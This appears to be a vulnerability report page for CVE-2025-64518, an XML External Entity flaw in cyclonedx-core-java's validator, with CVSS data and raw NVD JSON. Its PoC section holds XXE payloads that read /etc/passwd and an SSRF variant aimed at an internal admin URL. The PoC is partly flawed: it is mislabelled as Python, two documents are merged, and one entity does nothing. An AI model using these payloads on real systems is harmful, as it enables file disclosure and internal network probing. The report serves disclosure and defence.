Security Vulnerability Report
中文
CVE-2025-64518 CVSS 7.5 HIGH

CVE-2025-64518

Published: 2025-11-10 22:15:40
Last Modified: 2026-04-15 00:35:42

Description

The CycloneDX core module provides a model representation of the SBOM along with utilities to assist in creating, validating, and parsing SBOMs. Starting in version 2.1.0 and prior to version 11.0.1, the XML `Validator` used by cyclonedx-core-java was not configured securely, making the library vulnerable to XML External Entity (XXE) injection. The fix for GHSA-683x-4444-jxh8 / CVE-2024-38374 was incomplete in that it only fixed parsing of XML BOMs, but not validation. The vulnerability has been fixed in cyclonedx-core-java version 11.0.1. As a workaround, applications can reject XML documents before handing them to cyclonedx-core-java for validation. This may be an option if incoming CycloneDX BOMs are known to be in JSON format.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

cyclonedx-core-java >= 2.1.0 且 < 11.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-64518 XXE Injection in CycloneDX --> <!-- This PoC demonstrates reading /etc/passwd via XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cyclonedx [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe2 "file:///etc/hostname"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.4" serialNumber="urn:uuid:&xxe2;"> <components> <component type="library"> <name>malicious-component</name> <version>&xxe;</version> <purl>pkg:maven/example/[email protected]</purl> </component> </components> </bom> <!-- SSRF PoC variant --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cyclonedx [ <!ENTITY ssrf SYSTEM "http://internal.corp.com/admin/api"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.4"> <metadata> <component> <name>&ssrf;</name> </component> </metadata> </bom>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64518", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:40.497", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CycloneDX core module provides a model representation of the SBOM along with utilities to assist in creating, validating, and parsing SBOMs. Starting in version 2.1.0 and prior to version 11.0.1, the XML `Validator` used by cyclonedx-core-java was not configured securely, making the library vulnerable to XML External Entity (XXE) injection. The fix for GHSA-683x-4444-jxh8 / CVE-2024-38374 was incomplete in that it only fixed parsing of XML BOMs, but not validation. The vulnerability has been fixed in cyclonedx-core-java version 11.0.1. As a workaround, applications can reject XML documents before handing them to cyclonedx-core-java for validation. This may be an option if incoming CycloneDX BOMs are known to be in JSON format."}, {"lang": "es", "value": "El módulo central de CycloneDX proporciona una representación de modelo del SBOM junto con utilidades para ayudar en la creación, validación y análisis de SBOMs. A partir de la versión 2.1.0 y antes de la versión 11.0.1, el 'Validator' XML utilizado por cyclonedx-core-java no estaba configurado de forma segura, haciendo que la librería fuera vulnerable a la inyección de entidad externa XML (XXE). La corrección para GHSA-683x-4444-jxh8 / CVE-2024-38374 fue incompleta ya que solo corrigió el análisis de los BOMs XML, pero no la validación. La vulnerabilidad ha sido corregida en la versión 11.0.1 de cyclonedx-core-java. Como solución alternativa, las aplicaciones pueden rechazar documentos XML antes de entregarlos a cyclonedx-core-java para su validación. Esto puede ser una opción si se sabe que los BOMs CycloneDX entrantes están en formato JSON."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#schemafactory", "source": "[email protected]"}, {"url": "https://github.com/CycloneDX/cyclonedx-core-java/commit/162aa594f347b3f612fe0a45071693c3cd398ce9", "source": "[email protected]"}, {"url": "https://github.com/CycloneDX/cyclonedx-core-java/commit/af0ec75c93c03f93733a070c5132554490af5314", "source": "[email protected]"}, {"url": "https://github.com/CycloneDX/cyclonedx-core-java/pull/737", "source": "[email protected]"}, {"url": "https://github.com/CycloneDX/cyclonedx-core-java/security/advisories/GHSA-6fhj-vr9j-g45r", "source": "[email protected]"}]}}